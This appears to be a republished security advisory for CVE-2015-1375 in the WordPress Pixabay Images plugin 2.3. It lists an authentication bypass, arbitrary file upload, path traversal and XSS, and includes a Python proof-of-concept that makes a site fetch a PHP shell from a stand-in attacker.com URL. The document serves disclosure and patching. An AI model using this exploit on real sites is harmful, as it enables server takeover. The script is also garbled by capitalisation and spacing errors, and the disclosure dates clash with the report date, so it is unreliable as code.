WordPress Pixabay Images plugin Arbitrary File Upload Vulnerability (CVE-2015-1375)

WordPress Pixabay Images plugin Arbitrary File Upload Vulnerability (CVE-2015-1375)

Release date:
Updated on:

Affected Systems:
WordPress Pixarbay Images 2.3
Description:
Bugtraq id: 73118
CVE (CAN) ID: CVE-2015-1375

Pixabay Images is a WordPress plug-in that allows you to search for CC0 public domain Images from Pixabay and insert them into your blog.

In versions earlier than Pixabay Images 2.4, pixabay-images.php does not properly restrict access to the upload function, which allows remote attackers to write arbitrary files.

<* Source: Hans-Martin Muench
*>

Test method:

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Mogwai Security Advisory MSA-2015-01
----------------------------------------------------------------------
Title: WP Pixarbay Images Multiple Vulnerabilities
Product: Pixarbay Images (Wordpress Plugin)
Affected versions: 2.3
Impact: high
Remote: yes
Product link: https://wordpress.org/plugins/pixabay-images/
Reported: 14/01/2015
By: Hans-Martin Muench (Mogwai, IT-Sicherheitsberatung Muench)

Vendor's Description of the Software:
----------------------------------------------------------------------
Pixabay Images is a WordPress plugin that let's you pick CC0 public
Domain pictures from Pixabay and insert them with just a click anywhere
On your blog. The images are safe to use, and paying attribution or
Linking back to the source is not required.

Business recommendation:
----------------------------------------------------------------------
Updated to version 2.4

Vulnerability description:
----------------------------------------------------------------------
1) Authentication bypass
The plugin does not correctly check if the user is logged in. Certain
Code can be called without authentication

2) Arbitrary file upload
The plugin code does not validate the host in the provided download URL,
Which allows to upload malicious files, including PHP code.

3) Path Traversal
Certain values are not sanitized before they are used in a file operation.
This allows to store files outside of the "download" folder.

4) Cross Site Scripting (XSS)
The generated author link uses unsanitized user values which can be
Abused for Cross Site Scripting (XSS) attacks.

Proof of concept:
----------------------------------------------------------------------
The following PoC Python script can be used to download PHP files from
A attacker controlled host.

#! /Usr/bin/env python

Import argparse
Import httplib, urllib
From urlparse import urlparse

Def exploit (target_url, shellcode_url ):

Target = urlparse (target_url)

Params = urllib. urlencode ({'pixabay _ upload': 1, 'image _ url': shellcode_url,
'Image _ user': 'none', 'q': 'xxx/.../../mogwai '})
Headers = {"Content-type": "application/x-www-form-urlencoded "}

Print "[+] Sending download request ...."
Conn = httplib. HTTPConnection (target. netloc)
Conn. request ("POST", target. path + "/wp-admin/", params, headers)

Response = conn. getresponse ()
Response_data = response. read ()
If response. status! = 200 and response_data! = "Error: File attachment metadata
Error ":
Print "[-] Something went wrong"
Print response_data
Exit ()

Conn. close ()

# ---- Main code ----------------
Parser = argparse. ArgumentParser ()
Parser. add_argument ("target_url", help = "The target url, for example
Http://foo.bar/blog ")
Parser. add_argument ("shellcode_url", help = "The url of the PHP file that shoshould
Be uploaded, for example: http://attacker.com/shell.php ")

Print "----------------------------------------------"
Print "pixabay upload wordpress plugin exploit PoC"
Print "Mogwai security"
Print "----------------------------------------------"

Arguments = parser. parse_args ()
Exploit(arguments.tar get_url, arguments. shellcode_url)

 

Vulnerable/tested versions:
----------------------------------------------------------------------
Pixabay Images 2.3

Disclosure timeline:
----------------------------------------------------------------------
14/01/2014: Reporting issues to the plugin author
15/01/2014: Release of fixed version (2.4)
19/01/2014: Public advisory

Advisory URL:
----------------------------------------------------------------------
Https://www.mogwaisecurity.de/#lab

----------------------------------------------------------------------
Mogwai, IT-Sicherheitsberatung Muench
Steinhoevelstrasse 2/2
89075 Ulm (Germany)

Info@mogwaisecurity.de

Suggestion:
Vendor patch:

WordPress
---------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Https://wordpress.org/plugins/pixabay-images/

This article permanently updates the link address: